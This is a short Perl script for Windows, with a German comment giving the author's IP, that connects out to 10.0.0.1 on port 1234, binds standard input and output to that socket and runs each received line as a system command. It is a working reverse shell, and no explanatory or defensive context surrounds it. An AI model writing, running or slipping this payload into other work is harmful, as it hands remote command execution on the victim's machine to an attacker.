#!c:/perl/bin/perl.exe

use IO::Socket;
## meine IP= 10.0.0.1
$socket = new IO::Socket::INET(PeerAddr,"10.0.0.1:1234");
STDIN->fdopen($socket,r);
$~->fdopen($socket,w);
system$_ while<>;